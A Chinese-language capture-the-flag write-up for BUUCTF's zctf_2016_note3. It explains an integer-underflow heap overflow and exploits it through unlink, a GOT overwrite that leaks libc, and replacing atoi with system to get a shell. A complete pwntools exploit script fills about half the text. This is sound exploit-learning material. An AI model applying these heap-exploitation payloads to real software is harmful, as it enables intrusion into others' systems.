zctf_2016_note3【buuctf刷题 unlink】

zctf_2016_note3

审题环节

管理我们先来checksec一下

请添加图片描述

开启了canary和NX的64位程序

一个非常标准的菜单题 1 添加堆 2 展示堆 3 编辑堆 4 删除堆

请添加图片描述

1 添加堆

有且只能添加最多7个chunk

size大小不得大于等于1024

chunk_addr存储在ptr上 chunk_detail内存储输入的chunk的大小(注意不是实际大小

请添加图片描述

2 展示堆 (fake)

此处的show函数并没有展示堆的功能 这里也就不把图片粘贴上来了

3 编辑堆

这是漏洞所在地

请添加图片描述

my_read中存在整数溢出漏洞

当a2为0时由于i是unsigned_int所以可以修改一个非常非常大的size 造成了堆溢出

请添加图片描述

4 删除堆

标准的删除堆流程

请添加图片描述

审题结束,开始解题

解题

思路

存在堆溢出 考虑使用unlink来达成目标

  1. 利用堆溢出漏洞创造unlink条件
  2. 泄露libc地址
  3. 修改atoi为system 达成目标
利用堆溢出漏洞创造unlink条件

首先我们要利用堆溢出漏洞创造unlink条件我们先添加4个chunk

第一个chunk的size应为0这样就满足了造成堆溢出漏洞的整数溢出条件

注意当你选择malloc一个size为0的chunk 该chunk的size位实际大小位0x20

add(b'0',b"aaaa")    #chunk 0
#cause here the size is 0 so we can overflow the whole heap in the func "edit"
add(b"256",b"bbbb")    #chunk 1
add(b"256",b"cccc")    #chunk 2
add(b"256",b"dddd")    #chunk 3

接下来就是标准的unlink流程

将指针转移到ptr上

ptr = 0x6020C8
fd = ptr + 0x10 - 0x18
bk = ptr + 0x10 - 0x10
payload=p64(0)*3+p64(0x121)+b'a'*0x110+p64(0)+p64(0x101)+p64(fd)+p64(bk)+b'a'*(0x100-0x20)+p64(0x100)+p64(0x110)#fake chunk
edit(b'0',payload)
delete(b'1')#now we have unlinked the chunk 2. The chunk go to the ptr
泄露libc地址

此时我们已经迁移到了ptr上那么此时我们就可以修改ptr上的内容了 将chunk的指针篡改为我们需要的free_got和atoi_got的地址

然后将free_got内的内容修改为puts_plt 接下来我们再去delete我们的chunk 2此时实际效果就是puts(atoi_got)这样我们就获得了atoi_got的地址 即可利用该地址来泄露libc

payload=b'a'*8+p64(free_got)+p64(atoi_got)+p64(atoi_got)+p64(atoi_got)
edit(b'2',payload)
payload=p64(puts_plt)[:-1]   
#we write a "[:-1]" here for the sentence "sendline" it will add a "\n" so we need ti delete one bit here
edit(b'0',payload)
io.recv()
delete(b'2') #show atoi_addr
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('atoi_addr -> ' + hex(atoi_addr))
libc_base=atoi_addr-libc.symbols['atoi']
修改atoi为system

将atoi修改为system地址 然后我们就可以输入/bin/sh达成system(“/bin/sh”)的效果

system_addr=libc_base+libc.symbols['system']
edit(b'3', p64(system_addr)[:-1])
io.recvuntil(b'>>\n')
io.sendline(b'/bin/sh')
io.interactive()

这样我们就可以成功获取flag了

exp:

from pwn import *
#from LibcSearcher import *
context.log_level='debug'
elf=ELF('./zctf_2016_note3')
libc=ELF('./libc-2.23.so')
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
#io=process('./zctf_2016_note3')
io=remote('node4.buuoj.cn',26080)
def add(size,content):
	io.recvuntil(b'on--->>\n')
	io.sendline(b'1')
	io.recvuntil(b'content:(less than 1024)\n')
	io.sendline(size)
	io.recvuntil(b'content:\n')
	io.sendline(content)

#def show(idx)   #useless
def edit(idx,content):
	io.recvuntil(b'on--->>\n')
	io.sendline(b'3')
	io.recvuntil(b'Input the id of the note:\n')
	io.sendline(idx)
	io.recvuntil(b'nput the new content:\n')
	io.sendline(content)

def delete(idx):
	io.recvuntil(b'on--->>\n')
	io.sendline(b'4')
	io.recvuntil(b'Input the id of the note:\n')
	io.sendline(idx)
	
add(b'0',b"aaaa")    #chunk 0
#cause here the size is 0 so we can overflow the whole heap in the func "edit"
add(b"256",b"bbbb")    #chunk 1
add(b"256",b"cccc")    #chunk 2
add(b"256",b"dddd")    #chunk 3
ptr = 0x6020C8
fd = ptr + 0x10 - 0x18
bk = ptr + 0x10 - 0x10
payload=p64(0)*3+p64(0x121)+b'a'*0x110+p64(0)+p64(0x101)+p64(fd)+p64(bk)+b'a'*(0x100-0x20)+p64(0x100)+p64(0x110)#fake chunk
edit(b'0',payload)
delete(b'1')#now we have unlinked the chunk 2. The chunk go to the ptr


payload=b'a'*8+p64(free_got)+p64(atoi_got)+p64(atoi_got)+p64(atoi_got)
edit(b'2',payload)
payload=p64(puts_plt)[:-1]   
#we write a "[:-1]" here for the sentence "sendline" it will add a "\n" so we need ti delete one bit here
edit(b'0',payload)
#pause()
io.recv()
delete(b'2') #show atoi_addr
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#atoi_addr = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('atoi_addr -> ' + hex(atoi_addr))
libc_base=atoi_addr-libc.symbols['atoi']
system_addr=libc_base+libc.symbols['system']



edit(b'3', p64(system_addr)[:-1])

io.recvuntil(b'>>\n')
io.sendline(b'/bin/sh')

io.interactive()

本文参考了长亭一梦师傅的文章 (78条消息) zctf_2016_note3 详解_长亭一梦的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值